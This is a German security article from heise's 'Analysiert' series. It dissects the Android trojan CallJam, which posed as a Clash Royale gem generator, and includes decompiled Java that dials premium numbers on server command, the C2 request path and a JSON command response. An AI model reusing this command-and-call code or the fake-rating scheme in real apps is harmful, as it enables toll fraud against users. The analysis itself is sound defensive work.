zurück zum Artikel

Analysiert: Werbekeule statt Glitzersteine – Android-Malware CallJam seziert

Olivia von Westernhagen
Analysiert: Werbekeule statt Glitzersteine ? unter der Haube der Android-Malware Calljam

Eine App auf Goole Play gab sich als Helferlein für das erfolgreiche Spiel "Clash Royale" aus. Doch statt der versprochenen Juwelen gab es teure Rechnungen. Olivia von Westernhagen analysiert den Trojaner.

Die Macher der rund 500.000-mal heruntergeladenen App "Gems Chest for Clash Royale" lockten auf Google Play mit folgendem Text:

"Hi im clash royale fan and i have developed the best guide to obtain easy free chests and legendary cards with my advices. […] No hacks, only guide of text and image."

Doch dabei handelt es sich um kein Helferlein das kostenlose Spiele-Items verspricht, sondern eine Malware, die sich im Fahrwasser des erfolgreichen Spiels "Clash Royale" (Android: 50 bis 100 Millionen Installationen) auf Geräte schleichen will.

Die letzte Aktualisierung der App erfolgte am 24. Mai. Demzufolge blieb der Schädling mehrere Monate unerkannt, bis Google ihn aus dem App Store verbannt hat. Laut der Kurz-Beschreibung der Sicherheitsforscher von Checkpoint [1] blendet der Schädling unerwünschte Werbung ein und ruft auf Kosten des Nutzers teure Premium-Nummern im Ausland an. Sie haben die Malware CallJam getauft.

Ich wollte genau wissen, wie die App etwa Anrufe tätigt, warum sie so lange im App Store sein konnte und wie die Vielzahl von größtenteils positiven Bewertungen zustande gekommen ist. Dafür beschloss ich, mir mit Hilfe eines Android-Emulators selbst ein Bild zu machen.

Vorsicht: Noch immer  ist Gems Chests für Clash Royale aka Calljam in vielen alternativen App-Stores verfügbar.

Vorsicht: Noch immer ist Gems Chests for Clash Royale aka CallJam in vielen alternativen App-Stores verfügbar.

(Bild: Screenshot)

Obwohl CallJam mittlerweile nicht mehr im Play Store zu finden ist, musste ich nicht lange nach einem geeigneten Sample suchen: In mehreren Play-Store-Alternativen steht die App noch immer zum Download bereit. Die von mir analysierte Datei hat den MD5-Wert 2016ea74f15f4d0b98b7c50b05dacd09 und wurde am 30. Mai zum ersten Mal auf Virustotal hochgeladen. [2]

Für die Android-Emulation nutze ich Genymotion [3]. Der seit 2013 verfügbare Emulator ist in einer eingeschränkten Personal Edition kostenlos verfügbar und nutzt VirtualBox [4] zur Virtualisierung. Letztere wird bei der Genymotion-Installation gleich mitinstalliert. Nach dem Anlegen eines neuen virtuellen Android-Gerätes, erscheint dieses automatisch als VM in der VirtualBox.

Ich starte mein neues "Custom Phone" mit Android 4.4.4. Indem ich die APK-Datei mit Gems Chests for Clash Royale einfach per Drag-and-Drop von meinem Desktop in die VM ziehe, findet eine automatische Installation statt.

Die grafische Oberfläche von Calljam nebst fragwürdiger Werbung.

Die grafische Oberfläche von CallJam nebst fragwürdiger Werbung.

(Bild: Screenshot)

Ein Blick auf den Bildschirm des virtuellen Smartphones zeigt mir, dass es sich hier keineswegs wie behauptet um einen reinen Text-Guide mit Bildern handelt. Stattdessen sehe ich drei Felder, in die ich meinen Clash-Royale-Nutzernamen und die von mir gewünschte Anzahl an Edelsteinen und Goldmünzen eingeben soll. Mir ist ein Rätsel, wie irgendjemand ernsthaft glauben kann, dass allein auf Basis eines Nutzernamens auf magische Weise Spielinhalte in einer anderen App landen sollen.

Während ich, um Unvoreingenommenheit bemüht, versuche, Gegenargumente wie erforderliche Login-Daten und das Sandbox-Prinzip von Android-Apps auszublenden, bohrt sich ein rot blinkender Schriftzug unangenehm in meine Augäpfel: "NEW VERSION! 100 % WORKING!", steht unter den Eingabefeldern. Okay – spätestens an dieser Stelle müsste man meiner Einschätzung nach misstrauisch werden.

Unterhalb des Schriftzugs befinden sich zwei Buttons, die man offensichtlich nacheinander anklicken soll, um das Generieren der Edelsteine zu starten. "Rate App" steht auf dem ersten, "Verify & Generate" auf dem zweiten. Wie ich später in der detaillierten Analyse herausfinde, führt – oder besser: führte – der erste Button geradewegs in den Play Store. Nutzer sollten glauben, dass das (positive) Bewerten der App erforderlich ist, um sich Edelsteine generieren zu lassen. Das hat offensichtlich geklappt: Die Macher der App konnten über 4700 Bewertungen anhäufen und dabei 4 von 5 Sternen erzielen. Solche Massen an positiven Bewertungen lassen das Misstrauen natürlich schwinden und animieren dazu, dem "100 % WORKING!"-Schriftzug zu vertrauen.

Darauf falle ich natürlich nicht rein, klicke einfach direkt auf den zweiten Button und stelle fest, dass die beiden Schritte durchaus unabhängig voneinander ausführbar sind. Nun erscheint ein neuer Bildschirm, bei dessen Betrachtung ich mich unwillkürlich an die PS3-Emulator-Analyse [5] erinnert fühle, die ich vor etwa einem Jahr im Rahmen der "Analysiert:"-Reihe durchgeführt habe. Ganz genau: Statt der versprochenen Funktion folgt nun die eingebaute Werbekeule.

"Verify you are human to get the gems", fordert mich eine Nachricht auf. Nach einem erneuten Klick erscheinen drei weitere Buttons, die mich geradewegs auf Werbe-Seiten führen. Damit die App (hoffentlich) endlich das tut, was sie soll, kann ich wahlweise ein AV-Programm mit dem originellen Namen „McSecure“ installieren oder ein Spiel bei "Jamba" herunterladen. Beides funktioniert jedoch nur, wenn ich meine Handynummer eingebe und so ein kostenpflichtiges Abo abschließe. Die dritte Option ist der Download einer weiteren App aus dem offiziellen Play Store, unter der jedoch schon mehrere Negativ-Rezensionen samt Viren-Warnungen stehen.

Nein danke – ich verzichte und beende an dieser Stelle meinen CallJam-Praxistest. Ich möchte mir die Schad-Funktionen der Malware nun im Detail ansehen, weshalb mein nächster Schritt im genüsslichen Sezieren der APK-Datei besteht.

Ich starte abermals VirtualBox und verschiebe die App in eine Windows-VM. Bei APKs - Android-Packages - handelt es sich um Archive, die die einzelnen Komponenten einer Android-App enthalten. Indem ich die Endung durch ".zip" oder ".rar" ersetze, kann ich mir den Inhalt detailliert ansehen. Interessant ist zunächst einmal die AndroidManifest.xml, die dem Android-System verschiedene Informationen über die App bereitstellt. Daraus erfahre ich, dass CallJam bei der Installation unter anderem folgende Berechtigungen erfragt, die ein Nutzer bestätigten soll:

Um herauszufinden, auf welche Weise CallJam Gebrauch von den angeforderten Berechtigungen macht, schaue ich mir im nächsten Schritt den Programmcode an, der sich im APK in einer Datei mit der Endung .dex befindet. Es handelt sich dabei um Bytecode im Dalvik-Executable-Format, welches auf Android-Geräten die Dalvik VM beziehungsweise die Android Runtime in maschinenlesbaren Code übersetzt und ausführt. Um diesen wieder in eine für Menschen lesbare Form zurückzuwandeln, müssen die ursprünglichen Java-Klassen wiederhergestellt werden, sprich: man muss die .dex-Datei dekompilieren.

Hierzu verwende ich dex2jar [6]. Das Kommandozeilen-Tool extrahiert die .dex-Datei aus dem APK und wandelt sie in ein Java Archiv (JAR) um, das die .class-Dateien enthält. Um zusätzlich auch die im APK enthaltenen Ressourcen wie Bilder und xml-Dateien in ihren Originalzustand zurückzuversetzen, kommt außerdem das Apktool [7] zum Einsatz. Zum Betrachten des Codes im JAR lade ich mir noch den Java Decompiler von http://jd.benow.ca [8] herunter.

Screenshot

Das Tool dex2jar dekompiliert Dalvik Executables.

(Bild: Screenshot)

Ich öffne das JAR und beginne, unter den vorhandenen Paketen nach dem Herzstück der App zu suchen. Das enthält neben dem Schadcode unter anderem auch die offizielle Android Support Library, Google Ads und die auf Github verfügbare Apache HttpClient API eines tschechischen Entwicklers, der bei der Bereitstellung nichts Böses im Sinn hatte. Harmlose und nützliche Komponenten, die die Malware-Autoren für ihre Zwecke missbrauchen.

Schnell finde ich das Paket freegems.clashroyale, das mehrere Klassen mit so generisch klingenden Namen wie AR, INC und FB enthält. Die AndroidManifest.xml-Datei hilft mir bei der Orientierung: Hier findet sich unter anderem eine Gliederung der Klassen in Activities, also Anwendungskomponenten, mit denen der User interagieren kann, Services, die im Hintergrund kontinuierlich Operationen ausführen sowie Broadcast Receiver, die so genannte Intents (Nachrichtenobjekte) empfangen und darauf reagieren können. Ich beginne mit dem Betrachten der Acitivities, wobei ich mich im Folgenden auf die Beschreibung der wesentlichen Malware-Funktionen beschränke.

Bei CallJam handelt es sich um eine WebApp mit einem JavaScript-Interface, für deren Umsetzung die WebView-Klasse zum Einsatz kam. Konkret bedeutet dies, dass die App sämtliche Elemente der Nutzeroberfläche, die ich mir soeben in der Android-VM angesehen habe, online abruft – jedenfalls fast alle. Wie ich im weiteren Verlauf der Analyse bemerke, erscheint nämlich bei fehlender Internetverbindung tatsächlich ein kurzer, in den APK-Ressourcen enthaltener Text-Guide, der erst bei erfolgreichem Konnektivitäts-Check mittels getimter Funktion durch die Online-Inhalte ersetzt wird.

Ich rufe die Seite mit den Eingabefeldern für Nutzername und Anzahl der zu generierenden Edelsteine direkt im Browser auf. Die URL habe ich der strings.xml aus dem mit Apktool rekonstruierten Ressourcen-Ordner entnommen. Dank responsive Webdesign erfolgt die Darstellung der Webseite auch auf einem Desktop-Computer korrekt. Ich inspiziere die einzelnen Seitenelemente und stelle ganz nebenbei fest, dass die Eingabefelder keinerlei Funktionalität in sich bergen. Die (eher rhetorische) Frage danach, ob das Generieren der Edelsteine funktioniert, ist somit beantwortet.

Die nähere Betrachtung des "Rate App"-Buttons offenbart ein meines Erachtens unter dem Aspekt der Sicherheit etwas fragwürdiges – aber durchaus auch in legitimen Web Apps verwendetes – Feature des Interfaces: Per JavaScript wird beim Klick auf den Button eine Methode namens openRate() aus einer der App-Klassen auf dem Android-Gerät aufgerufen:

<a onclick="rate = true; JSI.openRate();" class="myButton" style="font-size:18px;">RATE APP</a>

Auf diese Weise kann die Website per JavaScript Gebrauch von den erteilten Berechtigungen machen und somit das Endgerät aus der Ferne manipulieren. Einschränkend muss man aber sagen, dass das JavaScript-Interface nur auf Methoden in der App zugreifen kann, die mit einer @JavascriptInterface- Annotation versehen sind und dass das Ganze natürlich nur dann funktioniert, wenn der App-Nutzer mit dem entsprechenden Seitenelement interagiert.

Screenshot

Aufruf einer Methode der Malware-App aus dem JavaScript-Interface heraus.

(Bild: Screenshot)

Calljam bringt also keine nützlichen, sondern durchaus gefährliche Funktionen mit. Deren Ausführung gelingt zum einen über JavaScript und zum anderen auf Basis einer Klasse namens AR. Diese Klasse wird bei einer bestehenden Internetverbindung alle 60 Sekunden aufgerufen und sendet einen POST-Request an die aus der strings.xml entnehmbaren Adresse

http://(Calljam-IP)/apps/cr_a/scripts/action_request.php

. Als Antwort erhält die Klasse ein JSON Array mit mehreren Parametern zurück, die sie auswertet. Der erste Parameter mit der Bezeichnung "type" entscheidet über die als nächstes auszuführende Aktion:

Ein manueller Aufruf der action_request.php im Browser fördert das folgende JSON Array zutage:

{"type":"f_url","disable_wifi":false,"close":false,"title":"VERIFY YOU ARE HUMAN TO GET FREE DIAMONDS","url":"http:\/\/tengofoxfiles.com\/519020"}

An dieser Stelle findet sich der "titel" aus meiner Beschreibung der App-Oberfläche wieder. Auf ihn folgt die URL des genutzten Werbenetzwerks samt einem Unterordner. Ich rufe die Seite auf und sehe dort die mir aus der App bekannte GUI mit den drei Buttons. Die drei Beschriftungen samt korrespondierender Werbe-URLs werden dynamisch generiert und können somit variieren. Wie erwartet, handelt es sich um Links, die mit Affiliate-IDs versehen sind, sodass die CallJam-Macher mitverdienen.

Indem ich die "519020" am Ende der URL durch andere Zahlen ersetze, gelange ich auf verschiedene Unterseiten des Werbe-Netzwerkes, die sich vor allem durch die grafische Oberfläche unterscheiden. Das Schema ist jedoch immer dasselbe: Um eine bestimmte Aktion auszuführen, müssen Opfer zunächst einen Werbe-Link anklicken oder an einer Umfrage teilnehmen. Ganz offensichtlich handelt es sich dabei um ein Geschäftsmodell für Online-Kriminelle, das in vielen Apps und Web-Anwendungen zum Einsatz kommt. Davon profitieren letztlich sowohl die Anbieter der kostenpflichtigen Services und Programme, als auch die Betreiber des Werbenetzwerks und diejenigen, die davon Gebrauch machen. Darüber, ob es sich bei Letztgenannten um ein und dieselbe Personengruppe handelt, lässt sich spekulieren. Beachtlich finde ich jedenfalls, dass ich bei Eingabe fast jeder beliebigen 6-stelligen Zahl auf eine andere Seite gelange.

Abschließend möchte ich noch einen kurzen Blick auf die Anruf-Funktionalität der Malware werfen. Der in AR.class dazu enthaltene Code sieht wie folgt aus:

} else if (response.getString("type").equalsIgnoreCase("call")) {
ctx.getSharedPreferences("DATA", 0).edit().putString("MAX_MINUTES_PER_CALL", response.getString("max_minutes_per_call"));
ctx.getSharedPreferences("DATA", 0).edit().putString("MAX_MINUTES_PER_PERIOD", response.getString("max_minutes_per_period"));
ctx.getSharedPreferences("CALL", 0).edit().putString("call_number", response.getJSONArray("numbers").toString()).commit();
CUtils.call(ctx, response.getJSONArray("numbers").getString(0));
}
Screenshot

Eine kleine Auswahl meiner "Fundstücke" aus dem Werbe-Netzwerk.

(Bild: Screenshot)

Sofern in der Antwort des Servers "type: call" steht, findet eine Weitergabe der Informationen zur maximalen Länge und Häufigkeit zu tätigender Anrufe sowie ein Array mit den anzurufenden Nummern statt. In der "call"-Methode der Klasse CUtils findet anschließend unter Verwendung des Intents <a href=https://developer.android.com/reference/android/content/Intent.html#ACTION_CALL>ACTION_CALL </a> der Anruf-Vorgang statt.

Leider liefert mir der Server keine Nummern zurück, sodass ich den Vorgang nicht rekonstruieren kann. Wer die Analyse selbst nachvollziehen möchte und ausreichend Zeit und Muße mitbringt, kann in diesem Zusammenhang mit Sicherheit noch viele weitere Details herausfinden. Insbesondere die Receiver-Klasse CDUrReceiver.class könnte interessantes zutage fördern.

Die Erkenntnis, dass CallJam weder Gold noch Edelsteine für Clash Royale generieren kann, hat mich nicht überrascht. Interessant fand ich aber die Zugriffsmöglichkeiten auf interne App-Methoden über das JavaScript-Interface und den beachtlichen Umfang des eingebundenen Werbe-Netzwerks. Die Tatsache, dass die Malware dank der ihr gewährten Berechtigungen Befehle von entfernten Servern entgegennehmen und sogar telefonieren kann, ohne dass der Nutzer davon etwas bemerkt, ist äußerst bedenklich.

Im Play Store befinden sich mit großer Wahrscheinlichkeit weit mehr Trojaner, als man zunächst annimmt. Das Beispiel CallJam zeigt, dass eine große Zahl positiver Bewertungen nicht zwingend für Qualität und Vertrauenswürdigkeit sprechen.

Es empfiehlt sich stets, die von einer App angeforderten Berechtigungen genau zu überprüfen und im Zweifel auf die Installation zu verzichten. Bei der Entscheidungsfindung kann auch ein Upload der APK-Datei zu VirusTotal [9] helfen: Neben dem Überprüfen der Erkennungsrate verschiedener Viren-Scanner listet der Dienst sämtliche durch die App angeforderten Berechtigungen nebst einer kurzen Erläuterung sowie Aktivitäten, Services und weitere interessante Details übersichtlich auf.

Screenshot

Wer's glaubt wird selig: "Your Diamonds are in process... be patient. If instructions are correct, will be transfered in 24h/48h." Der Clash-Royale-König ist von der Gutgläubigkeit der App-Nutzer sichtlich amüsiert.

(Bild: Screenshot)

Warum CallJam so lange in Google Play verfügbar war, ist mir nach wie vor ein Rätsel: Die App verstößt gegen mindestens zwei Richtlinien, die Google Entwicklern auferlegt. Zum einen erhalten die App-Nutzer einen Anreiz (in Form virtueller Edelsteine) für eine Bewertung der App. So manipuliert Calljam die App-Bewertung und verstößt gegen Googles Richtlinie zu Bewertungen, Rezensionen und Installationen [10]. Zum anderen erscheint Werbung, die sich nicht schließen lässt. Das verstößt gegen Googles Vorgabe gegen störende Werbung [11]. Dass Google selbst solch offensichtliche Verstöße gegen die eignen Richtlinien durchgehen lässt, lässt wenig Raum für Illusionen in Bezug auf eine systematische Suche nach versteckten Hintertürfunktionen.

Mehr Infos

Analysiert - die Serie auf heise Security

Im Rahmen der losen heise-Security-Serie "Analysiert:" [12] werfen Experten einen Blick hinter die Kulissen von aktuellen Schädlingen, Betrugsmaschen oder anderen Tricks, die Sie um Ihre Daten bringen sollen.

(ovw [13])


URL dieses Artikels:
https://www.heise.de/-3340267

Links in diesem Artikel:
[1] http://blog.checkpoint.com/2016/09/08/calljam-android-malware-found-on-google-play/
[2] https://virustotal.com/de/file/f55a5597d9e20ccfd35d3f8878a2f6f9a5bea5713c601e46bc7c6a4908681872/analysis/1474743162
[3] https://www.genymotion.com/
[4] https://www.virtualbox.org
[5] https://www.heise.de/hintergrund/Analysiert-PS3-Emulator-im-Schafspelz-2583457.html
[6] https://github.com/pxb1988/dex2jar/releases
[7] https://ibotpeaches.github.io/Apktool/
[8] http://jd.benow.ca/
[9] https://virustotal.com/
[10] https://play.google.com/intl/de_ALL/about/storelisting-promotional/ratings-reviews-installs/
[11] https://play.google.com/intl/de_ALL/about/monetization-ads/ads/disruptive/
[12] http://www.heise.de/thema/Analysiert
[13] mailto:olivia.von.westernhagen@gmail.com